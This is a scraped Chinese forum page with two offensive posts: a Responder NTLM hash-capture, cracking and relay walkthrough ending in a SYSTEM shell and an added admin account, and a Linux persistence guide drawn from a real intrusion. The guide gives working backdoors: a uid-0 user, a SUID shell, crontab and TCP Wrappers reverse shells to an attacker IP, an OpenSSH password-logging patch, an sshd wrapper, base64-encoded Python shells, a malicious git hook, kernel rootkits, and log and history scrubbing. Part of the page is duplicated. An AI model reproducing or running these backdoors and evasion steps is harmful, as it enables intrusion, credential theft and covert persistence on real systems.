0x05 WPAD代理服务器抓取Net-NTLM hash
WPAD用于在windows中自动化的设置ie浏览器的代理,从Windows 2000开始该功能被默认开启。

开启Responder的WPAD后,当PC浏览网站时即可抓取到NTLM hash

加-F参数即可开启WPAD抓取 hash,而且当主机重启时也能抓到NTLM hash

被控主机执行:$ sudo python Responder.py -I eth0 -v -F




0x06 使用hashcat解密
安装hashcat(参考https://www.phillips321.co.uk/2016/07/09/hashcat-on-os-x-getting-it-going)$ git clone https://github.com/hashcat/hashcat.git
$ mkdir -p hashcat/deps
$ git clone https://github.com/KhronosGroup/OpenCL-Headers.git hashcat/deps/OpenCL
$ cd hashcat
$ make
$ ./example0.sh
$ ./hashcat
利用hashcat暴力猜解密码  
-m:hash-type,5600对应NetNTLMv2


得到密码为123456


0x07 通过NTLM中继攻击添加用户
这里就用到了NTLM中继攻击,相当于是中间人攻击,攻击者获取高权限的主机的hash,然后将hash转发给低权限主机并执行命令

这里就是抓取域控的hash,然后执行命令得到域内主机的信息

修改Responder.conf,不启动SMB和HTTP,然后启动Responderreber@ubuntu:~/Responder$ head -n 14 Responder.conf
[Responder Core]

; Servers to start
SQL = On
SMB = Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = Off
DNS = On
LDAP = On

#这里用的是-F,只要有高权限用户通过浏览器访问网页就会中招,hash就会被抓取
reber@ubuntu:~/Responder$ sudo python Responder.py -I eth0 -v -F
利用Responder的MultiRelay模块获取shellreber@ubuntu:~/Responder/tools$ sudo python MultiRelay.py -t 10.11.11.20 -u ALL

Responder MultiRelay 2.0 NTLMv1/2 Relay

Send bugs/hugs/comments to: laurent.gaffie@gmail.com
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.

/*
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.

This tool listen on TCP port 80, 3128 and 445.
For optimal pwnage, launch Responder only with these 2 options:
-rv
Avoid running a command that will likely prompt for information like net use, etc.
If you do so, use taskkill (as system) to kill the process.
*/

Relaying credentials for these users:
['ALL']


Retrieving information for 10.11.11.20...
SMB signing: False
Os version: 'Windows 7 Professional 7600'
Hostname: 'WIN-7'
Part of the 'REBER' domain
[+] Setting up HTTP relay with SMB challenge: f34fb4118e70e824
[+] Received NTLMv2 hash from: 10.11.11.18
[+] Client info: ['Windows Server 2008 R2 Enterprise 7600', domain: 'REBER', signing:'True']
[+] Username: Administrator is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Looks good, Administrator has admin rights on C$.
[+] Authenticated.
[+] Dropping into Responder's interactive shell, type "exit" to terminate

Available commands:
dump -> Extract the SAM database and print hashes.
regdump KEY -> Dump an HKLM registry key (eg: regdump SYSTEM)
read Path_To_File -> Read a file (eg: read /windows/win.ini)
get Path_To_File -> Download a file (eg: get users/administrator/desktop/password.txt)
delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)
upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
runas Command -> Run a command as the currently logged in user. (eg: runas whoami)
scan /24 -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to
pivot IP address -> Connect to another host (eg: pivot 10.0.0.12)
mimi command -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
mimi32 command -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
lcmd command -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)
help -> Print this message.
exit -> Exit this shell and return in relay mode.
If you want to quit type exit and then use CTRL-C

Any other command than that will be run as SYSTEM on the target.

Connected to 10.11.11.20 as LocalSystem.
C:\Windows\system32\:#net user test 123456 /add && net localgroup administrators test /add
▒▒▒▒ɹ▒▒▒ɡ▒


C:\Windows\system32\:#net user

\\ ▒▒▒û▒▒ʻ▒

-------------------------------------------------------------------------------
Administrator Guest reber
test
▒▒▒▒▒▒▒▒▒▒ϣ▒▒▒▒▒▒▒һ▒▒▒▒▒▒▒▒


C:\Windows\system32\:#exit
[+] Returning in relay mode.
Exiting...
reber@ubuntu:~/Responder/tools$
Reference(侵删):
https://apt404.github.io/2016/08/11/ntlm-kerberos http://www.4hou.com/system/9383.html https://3gstudent.github.io/Windows下的密码hash-NTLM-hash和Net-NTLM-hash介绍 https://gist.github.com/anonymous/70f792d50078f0ee795d39d0aa0da46e https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes https://medium.com/@canavaroxum/xxe-on-windows-system-then-what-76d571d66745 https://www.anquanke.com/post/id/85004 https://www.phillips321.co.uk/2016/07/09/hashcat-on-os-x-getting-it-going  查看全部
原文链接:http://wyb0.com/posts/responder-and-ntml-hash/

0x00 一些概念
Windows认证协议  
    分为:基于NTML的认证和基于kerberos的认证

什么是NTLM Hash?  
早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash



什么是Challenge-Response挑战/响应验证机制?  
WX20180918-104021@2x.png

  1. Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到DC(通过domain获得)
  2. DC生成一个16字节的随机数,即Challenge(挑战码),然后传回Client
  3. Client收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给Server
  4. Server将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证
  5. DC返回验证结果给Server
  6. Server将提示客户端是否验证成功



NTLM Hash与Net-NTLM Hash
    NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash,Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash

关于Responder  
    由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。

什么是NTLM中继攻击?  
    攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

0x01 软件环境
可以从(https://github.com/lgandx/Responder)下载Responder
域内主机:Win7(10.11.11.20)
域控主机:Win2008(10.11.11.18)
被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段

0x02 通过SMB服务获取Net-NTLM hash   
对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hash
net.exe use \\host\share
attrib.exe \\host\share
bcdboot.exe \\host\share
bdeunlock.exe \\host\share
cacls.exe \\host\share
certreq.exe \\host\share #(noisy, pops an error dialog)
certutil.exe \\host\share
cipher.exe \\host\share
ClipUp.exe -l \\host\share
cmdl32.exe \\host\share
cmstp.exe /s \\host\share
colorcpl.exe \\host\share #(noisy, pops an error dialog)
comp.exe /N=0 \\host\share \\host\share
compact.exe \\host\share
control.exe \\host\share
convertvhd.exe -source \\host\share -destination \\host\share
Defrag.exe \\host\share
DeployUtil.exe /install \\host\share
DevToolsLauncher.exe GetFileListing \\host\share #(this one's cool. will return a file listing (json-formatted) from remote SMB share...)
diskperf.exe \\host\share
dispdiag.exe -out \\host\share
doskey.exe /MACROFILE=\\host\share
esentutl.exe /k \\host\share
expand.exe \\host\share
extrac32.exe \\host\share
FileHistory.exe \\host\share #(noisy, pops a gui)
findstr.exe \\host\share
fontview.exe \\host\share #(noisy, pops an error dialog)
fvenotify.exe \\host\share #(noisy, pops an access denied error)
FXSCOVER.exe \\host\share #(noisy, pops GUI)
hwrcomp.exe -check \\host\share
hwrreg.exe \\host\share
icacls.exe \\host\share
LaunchWinApp.exe \\host\share #(noisy, will pop an explorer window with the contents of your SMB share.)
licensingdiag.exe -cab \\host\share
lodctr.exe \\host\share
lpksetup.exe /p \\host\share /s
makecab.exe \\host\share
MdmDiagnosticsTool.exe -out \\host\share #(sends hash, and as a *bonus!writes an MDMDiagReport.html to the attacker share with full CSP configuration.)
mshta.exe \\host\share #(noisy, pops an HTA window)
msiexec.exe /update \\host\share /quiet
msinfo32.exe \\host\share #(noisy, pops a "cannot open" dialog)
mspaint.exe \\host\share #(noisy, invalid path to png error)
mspaint.exe \\host\share\share.png #(will capture hash, and display the remote PNG file to the user)
msra.exe /openfile \\host\share #(noisy, error)
mstsc.exe \\host\share #(noisy, error)
netcfg.exe -l \\host\share -c p -i foo

被控主机执行:$ sudo python Responder.py -I eth0 -v


0x03 通过文件包含获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x04 通过XSS获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x05 WPAD代理服务器抓取Net-NTLM hash
WPAD用于在windows中自动化的设置ie浏览器的代理,从Windows 2000开始该功能被默认开启。

开启Responder的WPAD后,当PC浏览网站时即可抓取到NTLM hash

加-F参数即可开启WPAD抓取 hash,而且当主机重启时也能抓到NTLM hash

被控主机执行:$ sudo python Responder.py -I eth0 -v -F




0x06 使用hashcat解密
安装hashcat(参考https://www.phillips321.co.uk/2016/07/09/hashcat-on-os-x-getting-it-going)
$ git clone https://github.com/hashcat/hashcat.git
$ mkdir -p hashcat/deps
$ git clone https://github.com/KhronosGroup/OpenCL-Headers.git hashcat/deps/OpenCL
$ cd hashcat
$ make
$ ./example0.sh
$ ./hashcat

利用hashcat暴力猜解密码  
-m:hash-type,5600对应NetNTLMv2


得到密码为123456


0x07 通过NTLM中继攻击添加用户
这里就用到了NTLM中继攻击,相当于是中间人攻击,攻击者获取高权限的主机的hash,然后将hash转发给低权限主机并执行命令

这里就是抓取域控的hash,然后执行命令得到域内主机的信息

修改Responder.conf,不启动SMB和HTTP,然后启动Responder
reber@ubuntu:~/Responder$ head -n 14 Responder.conf
[Responder Core]

; Servers to start
SQL = On
SMB = Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = Off
DNS = On
LDAP = On

#这里用的是-F,只要有高权限用户通过浏览器访问网页就会中招,hash就会被抓取
reber@ubuntu:~/Responder$ sudo python Responder.py -I eth0 -v -F

利用Responder的MultiRelay模块获取shell
reber@ubuntu:~/Responder/tools$ sudo python MultiRelay.py -t 10.11.11.20 -u ALL

Responder MultiRelay 2.0 NTLMv1/2 Relay

Send bugs/hugs/comments to: laurent.gaffie@gmail.com
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.

/*
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.

This tool listen on TCP port 80, 3128 and 445.
For optimal pwnage, launch Responder only with these 2 options:
-rv
Avoid running a command that will likely prompt for information like net use, etc.
If you do so, use taskkill (as system) to kill the process.
*/

Relaying credentials for these users:
['ALL']


Retrieving information for 10.11.11.20...
SMB signing: False
Os version: 'Windows 7 Professional 7600'
Hostname: 'WIN-7'
Part of the 'REBER' domain
[+] Setting up HTTP relay with SMB challenge: f34fb4118e70e824
[+] Received NTLMv2 hash from: 10.11.11.18
[+] Client info: ['Windows Server 2008 R2 Enterprise 7600', domain: 'REBER', signing:'True']
[+] Username: Administrator is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Looks good, Administrator has admin rights on C$.
[+] Authenticated.
[+] Dropping into Responder's interactive shell, type "exit" to terminate

Available commands:
dump -> Extract the SAM database and print hashes.
regdump KEY -> Dump an HKLM registry key (eg: regdump SYSTEM)
read Path_To_File -> Read a file (eg: read /windows/win.ini)
get Path_To_File -> Download a file (eg: get users/administrator/desktop/password.txt)
delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)
upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
runas Command -> Run a command as the currently logged in user. (eg: runas whoami)
scan /24 -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to
pivot IP address -> Connect to another host (eg: pivot 10.0.0.12)
mimi command -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
mimi32 command -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
lcmd command -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)
help -> Print this message.
exit -> Exit this shell and return in relay mode.
If you want to quit type exit and then use CTRL-C

Any other command than that will be run as SYSTEM on the target.

Connected to 10.11.11.20 as LocalSystem.
C:\Windows\system32\:#net user test 123456 /add && net localgroup administrators test /add
▒▒▒▒ɹ▒▒▒ɡ▒


C:\Windows\system32\:#net user

\\ ▒▒▒û▒▒ʻ▒

-------------------------------------------------------------------------------
Administrator Guest reber
test
▒▒▒▒▒▒▒▒▒▒ϣ▒▒▒▒▒▒▒һ▒▒▒▒▒▒▒▒


C:\Windows\system32\:#exit
[+] Returning in relay mode.
Exiting...
reber@ubuntu:~/Responder/tools$

Reference(侵删):

我所了解的渗透测试——Linux后门类型

kakaxi 发表了文章 • 0 个评论 • 212 次浏览 • 2018-09-04 19:33 • 来自相关话题

在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透并没太在意Linux维持权限,经过此次事后从Google找各种资料,一款满意的rootkit都没有,现在一直在关注这方面,但还是没有找到满意的后门,在渗透圈一个人的资源总是有限往往你全力追求的,也不过是别人的一层关系就可以解决得到更有力的资源。
常用后门技术

增加超级用户帐号
破解/嗅控用户密码
放置SUID Shell**
利用系统服务程序
TCP/UDP/ICMP Shell
Crontab定时任务
共享库文件
工具包rootkit
可装载内枋模块(LKM)

 增加超级用户
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow小案例
搞某外企,主站拿不下来进行C段渗透,发现某个业务系统存在Struts2漏洞。
Struts漏洞工具执行命令有些交互式没有办法回显,所以通过无密码添加密码来连接SSH:useradd seradd -u 0 -o -g root -G roo1
echo "123456" | passwd --stdin roo1 #有些环境中并不能成功
跑去登录发现拒绝访问,查看了下/etc/shadow并没有修改成功密码,这时候我考虑了可能设置了密码策略,所以我添加了一个14位,大小写加特殊字符的,还是无法登录,没有办法修改成功,因为无法回显并不知道错误信息,所以试了几个添加密码的方法。
echo "roo1:password" |chpasswd
修改密码失败echo "123456n123456" |(sudo passwd roo1)
#有些情况下是可以成功的一条命令
试了几种方法都没有修改成密码,最后无回显添加Linux密码一种方法:
而这种方法是可以绕过密码强速限制添加的。/usr/sbin/useradd -u 0 -o -g root -G root -d /home/mx7krshell mx7krshell -p $1$F1B0hFxb$NkzreGE7srRJ**/

果然成功了,后来上服务器用passwd修改密码,提示

是之前写的密码太简单了,而服务器有密码策略,然后用mkpasswd自动生成的密码修改尝试 NW8JLHV6m*ug,成功了。
其实这条也是可以成功的,需要密码强度。[size=14]useradd -u 0 -o -g root -G root user2 |[/size][size=14]echo[/size][size=14] -e [/size][size=14]"1qaz2wsxn1qaz2wsx"[/size][size=14]|passwd user1[/size]

 破解
获得shadow文件后,用John the Ripper工具破解薄弱的用户密码,根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。
除此之外可以使用hashcatGPU、或者分布式服务器来进行破解
这里给出之前同事在本地装的一台配置,价格好像也就3万多:

supermicro超微7048GR-TR准系统 双路塔式工作站4 GPU运算服务器 |一台
Intel/英特尔 XEON至强 E5-2620 V3 15M 2.4G 6核12 |2颗
金士顿 16G DDR4 REG ECC 2133 服务器内存条 |2根
三星(SAMSUNG) 850 PRO 512G SATA3 固态硬盘|2块
NVIDIA技嘉GTX1070 Founders Edition 8G| 4张 32G GPU

对于跑Windows密码还是非常快,而遇到Linux加密算法是非常蛋疼,如有需要可以贴出来搭建GPU破解服务器文章。
 放置SUID Shell
(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
 Crontab后门
(容易被发现)
crontab命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
在Redis未授权访问中可以利用此方法获取Shell。(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;rno crontab for `whoami`0cn")|crontab –

 
 ssh 公钥免密
(容易被发现)ssh-keygen -t rsa
把id_rsa.pub写入服务端的authorized_keys中chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
 alias 后门
当前用户目录下.bashrcalias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

 pam 后门 or openssh
参考:
关于openssh通用后门的拓展
http://0cx.cc/ssh_get_password.jspxwget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff //patch 后门
vi includes.h //修改后门密码,记录文件位置,
/
+#define ILOG “/tmp/ilog” //记录登录到本机的用户名和密码
+#define OLOG “/tmp/olog” //记录本机登录到远程的用户名和密码
+#define SECRETPW “123456654321” //你后门的密码
/yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

yum install -y zlib zlib-devel
make && make install
service sshd restart //重启sshd
Centos6可以使用后门,但是配合curl把登录密码发送到服务器失败
 SSH后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
执行完之后,任何一台机器ssh root@IP -p 31337 不需要密码
 SSH wrapper后门简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接:socat STDIO TCP4:target_ip:22,sourceport=13377

默认端口为13377否则会出现:

 mafix rootkit
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。
不知道我测试是否有问题很多系统不被支持

 利用系统服务程序
修改/etc/inetd.conf 
daytime stream tcp nowait /bin/sh sh –I
用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
 TCP/UDP/ICMP Shell
Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。
TCP ACK数据包后门,能够穿越防火墙。
Linux下的icmp shell后门 容易被发现
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
被控端./ishd -i 65535 -t 0 -p 1024 -d
控制端./ish -i 65535 -t 0 -p 1024 192.168.1.69


这个是py版的
https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
Linux下ICMP后门PRISM
使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活。
编译安装:gcc <..OPTIONS..> -Wall -s -o prism prism.c
-DDETACH #后台运行
-DSTATIC #开启STATIC模式 (默认ICMP模式)
-DNORENAME #不使用自定义的进程名
-DIPTABLES #清空所有的iptables规则
用的是单台机器测试所以2个IP一样:sendPacket.py 内机 FUCK 控制端 19832


测试感觉还行,不知道在真实环境下能否维持多久。
参考
http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/
 
 共享库文件
在共享库中嵌入后门函数
使用后门口令激活Shell,获得权限
能够躲避系统管理员对二进制文件本身的 校验
 可装载内核模块(LKM)
LKM:Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。
内核级rootkit Kbeast的安装与使用
支持的内核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
config.h配置密码等

安装./setup build


守护进程的PID是1747
隐藏目录:

通过命令是无法查看开放端口的

ps aux命令也是无法查看到进程,除非指定进程名称,我们把后门进程名称伪靠系统服务也是可以让管理员头疼。
而通过nmap全端口扫描出现了13377后门端口,通过telnet连接

使用总结:
隐藏进程、隐藏端口
支持版本太少、重启将失效。
http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/
 隐藏文件
Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
 Git hooks
原是XTERM反弹Shell,老外与Git结合echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Xnest:1
当更新git的时候会触发:
git commit -am "Test"
 PROMPT_COMMAND后门
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。
一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd from ip:$SSH_CLIENT $SSH_TTY"; }`"; }>> /home/pu/login.log'
但是在安全人员手里味道变得不一样了
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"
Base64解密:import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
d=c.recv(512)
if 'exit' in d:
s.close()
sys.exit(0)
r=os.popen(d).read()
c.send(r)
一段简单的python socks监听命令

NC连接
nc 192.168.1.174 1025

 PROMPT_COMMAND提权
这个只是留做后门,有些黑客则是利用这点来进行提权。
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
除此之外可以利用script记录某人行为:
基本用法:
script -t 2>demo.time -a demo.his 记录保存为录像
scriptreplay demo.time demo.his 播放记录
用户家目录下,修改环境变量,使得用户登录就会触发录像vi ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his
 Sudoers “trick”
其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令sudo su -c "echo 'mx7krshell ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"

授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...

更详细文章参考:
https://segmentfault.com/a/1190000007394449
 TCP Wrappers
TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。
TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow
ssh访问目标主机ssh [email]qweqwe@192.168.4[/email].100触发后门

 nmap nse后门
很多linux系统中默认都安装了nmapmkdir -p ~/.nmap/scripts/
cd ~/.nmap/scripts/
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="


base64解密echo "*/1 * * * * python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))"" | crontab#

解密import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);

可以将127.0.0.1改成你的地址

 进程注入
cymothoa进程注入后门
./cymothoa -p 1014 -s 0 -y 8888

只能连接一次后就失效没啥用。
https://github.com/jorik041/cymothoa
 清理
bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null
 修改上传文件时间戳
touch -r 老文件时间戳 新文件时间戳
 伪造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
 Linux日志清除
首先是Apache日志,Apache主要的日志就是access.log``error_log,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。根据Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不过这些都可以在httpd.conf中找到。
对于明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.log
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。
在正则表达式中有特殊的含义,所以需要用“”来进行转义。
MySQL日志文件
log-error=/var/log/mysql/mysql_error.log #错误日志
log=/var/log/mysql/mysql.log#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log # 用于备份恢复,或主从复制.这里不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/mysql/mysql_slow.log
至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。
php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/apache/php_error.log
最后就是Linux的日志文件了,这个比较多,记录的也比较复杂,我的环境是CentOS 6.3。我现在只把和渗透有关的文件列出来,主要/etc/logrotate.d/syslog中/var/log/maillog,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
